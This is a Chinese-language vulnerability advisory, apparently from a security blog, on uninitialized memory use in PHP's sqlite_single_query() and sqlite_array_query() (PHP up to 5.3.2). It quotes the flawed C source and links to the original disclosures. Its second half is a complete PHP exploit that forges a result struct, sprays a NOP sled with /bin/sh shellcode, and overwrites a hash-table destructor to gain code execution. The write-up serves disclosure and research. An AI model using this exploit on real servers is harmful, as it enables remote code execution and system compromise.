PHP sqlite_single_query()和sqlite_array_query()函数远程代码执行漏洞

受影响系统:

PHP PHP <= 5.3.2
PHP PHP <= 5.2.13

描述:

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

如果对PHP的sqlite_single_query()和sqlite_array_query()函数使用了空的SQL查询的话,函数可能会使用未初始化的内存,这可能导致执行任意代码。以下是ext/sqlite/sqlite.c中的有漏洞代码段:

/* {{{ proto array sqlite_single_query(resource db, string query [, bool
first_row_only [, bool decode_binary]])
Executes a query and returns either an array for one single column or the
value of the first row. */

PHP_FUNCTION(sqlite_single_query)
{
       …
   struct php_sqlite_result *rres;
   …
       rres = (struct php_sqlite_result *)emalloc(sizeof(*rres)); [1]
       sqlite_query(NULL, db, sql, sql_len, PHPSQLITE_NUM, 0, NULL, &rres, NULL
       TSRMLS_CC); [2]
   …
       real_result_dtor(rres TSRMLS_CC); [3]
}

在[1]处所分配的资源rres没有在[2]处清零。如果查询为空,就可能在[3]传送给real_result_dtor内存。

static void real_result_dtor(struct php_sqlite_result *res TSRMLS_DC)
{
       int i, j, base;

       if (res->vm) {
               sqlite_finalize(res->vm, NULL);
       }

       if (res->table) {
               if (!res->buffered && res->nrows) {
                       res->nrows = 1; /* only one row is stored */
               }
               for (i = 0; i < res->nrows; i++) {
                       base = i * res->ncolumns;
                       for (j = 0; j < res->ncolumns; j++) {
                               if (res->table[base + j] != NULL) {
                                       efree(res->table[base + j]);
                               }
                       }
               }
               efree(res->table); [1]
       }

       if (res->col_names) {
               for (j = 0; j < res->ncolumns; j++) {
                       efree(res->col_names[j]);
               }
               efree(res->col_names); [2]
       }

   …

       efree(res);
}

如果通过某种方式控制了传送给real_result_dtor的res,就可能触发双重释放。

<*来源:Stefan Esser (s.esser@ematters.de
  
  链接:
http://php-security.org/2010/05/07/mops-2010-012-php-sqlite_single_query-uninitialized-memory-usage-vulnerability/index.html
        http://php-security.org/2010/05/07/mops-2010-013-php-sqlite_array_query-uninitialized-memory-usage-vulnerability/index.html
        http://php-security.org/2010/05/07/mops-submission-03-sqlite_single_query-sqlite_array_query-uninitialized-memory-usage/index.html
*>

测试方法:

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

 

<?php

/* sqlite_single_query exploit for php-5.3.2
* discovered and exploited   by  digitalsun
*
* e-mail  :
ds@digitalsun.pl
* website : http://www.digitalsun.pl/
*/

/* DEFINE */

define(‘EVIL_SPACE_ADDR’, 0xb6f00000);
define(‘EVIL_SPACE_SIZE’, 1024*1024);

$SHELLCODE =
"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80";

/* Initialize */
$sqh = sqlite_popen("/tmp/whatever");

/* allocate memory for evil table */
$EVIL_TABLE = str_repeat("\x31\x00\x00\x00", EVIL_SPACE_SIZE);
/* allocate memory for shellcode  */
$CODE = str_repeat("\x90\x90\x90\x90", EVIL_SPACE_SIZE);

for ( $i = 0, $j = EVIL_SPACE_SIZE*4 – strlen($SHELLCODE) – 1 ;
        $i < strlen($SHELLCODE) ; $i++, $j++ ) {
    $CODE[$j] = $SHELLCODE[$i];
}

$rres =
/* struct php_sqlite_result {        */
/*         struct php_sqlite_db *db; */ "AAAA" .
/*         sqlite_vm *vm;            */ "\x00\x00\x00\x00"         .
/*         int buffered;             */ "\x00\x00\x00\x00"         .
/*         int ncolumns;             */ "\x00\x00\x00\x00"         .
/*         int nrows;                */ "\x00\x00\x00\x00"         .
/*         int curr_row;             */ "\x00\x00\x00\x00"         .
/*         char **col_names;         */ pack(‘L’, EVIL_SPACE_ADDR) .
/*         int alloc_rows;           */ "\x00\x00\x00\x00"         .
/*         int mode;                 */ "\x00\x00\x00\x00"         .
/*         char **table;             */ "\x00\x00\x00"             ; // + one byte for \x00
/* };*/

str_repeat($rres,1);
$dummy = sqlite_single_query($sqh," ");

/* get hash table */
$array = array(array());

/* find hash table */

$hash_table_offset = NULL;

for ( $i = 0 ; $i < strlen($EVIL_TABLE) ; $i+=4 )
{
    if ( $EVIL_TABLE[$i] != "\x31" ) {
        $hash_table_offset = $i;
        break;
    }
}

if ( is_null($hash_table_offset) )
    die("[-] Couldn’t find hash table, exiting.");
else
{
    printf("[+] hashtable found @ 0x%08x\n", $hash_table_offset);
}

/* change the destructor */
$shellcode_addr = EVIL_SPACE_ADDR-EVIL_SPACE_SIZE*4-$hash_table_offset;
printf("[+] guessed shellcode address: 0x%08x\n", $shellcode_addr);
$shellcode_addr = pack(‘L’, $shellcode_addr);

$EVIL_TABLE[$hash_table_offset+8*4+3] = $shellcode_addr[3];
$EVIL_TABLE[$hash_table_offset+8*4+2] = $shellcode_addr[2];
$EVIL_TABLE[$hash_table_offset+8*4+1] = $shellcode_addr[1];
$EVIL_TABLE[$hash_table_offset+8*4+0] = $shellcode_addr[0];

printf("[+] jumping to the shellcode\n");
/* trigger the destructor */
unset($array);

die(‘[-] failed ;[‘);
?>

建议:

厂商补丁:

PHP

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

发表评论?

0 条评论。

发表评论